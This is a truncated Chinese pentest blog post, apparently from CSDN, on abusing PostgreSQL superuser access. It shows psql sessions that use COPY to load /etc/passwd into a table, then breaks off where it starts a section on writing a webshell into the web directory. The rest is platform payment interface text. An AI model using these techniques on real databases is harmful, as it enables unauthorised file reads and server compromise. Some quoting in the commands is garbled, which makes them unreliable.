postgresql读写文件和破解密码

在这里插入图片描述
1.通过copy读文件

mickey@pentest:~/Pentest/crack/mdcrack$ psql -h 127.0.0.1 -U postgres
用户 postgres 密码:
psql (8.4.2)
SSL connection (cipher: DHE-RSA-AES256-SHA, bits: 256)
Type “help” for help.

postgres=# create table file(line text);
CREATE TABLE

postgres=# copy file from “/etc/passwd” with delimiter “:”;
ERROR: extra data after last expected column
背景: COPY file, line 1: “root❌0:0:root:/root:/bin/bash”

失败,是由于delimiter的问题,如果要读的文件包含有你指定的delimiter,则会失败,

postgres=# create table file (line text);
CREATE TABLE
postgres=# copy file from “/etc/passwd” with delimiter E”t”;
COPY 47
postgres=# select * from file;

这次就成功了,用pg_read_file(),在实际渗透中不太现实,因为他限制目录访问了。

2.写一句话到web目录
postgres=# create ta

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值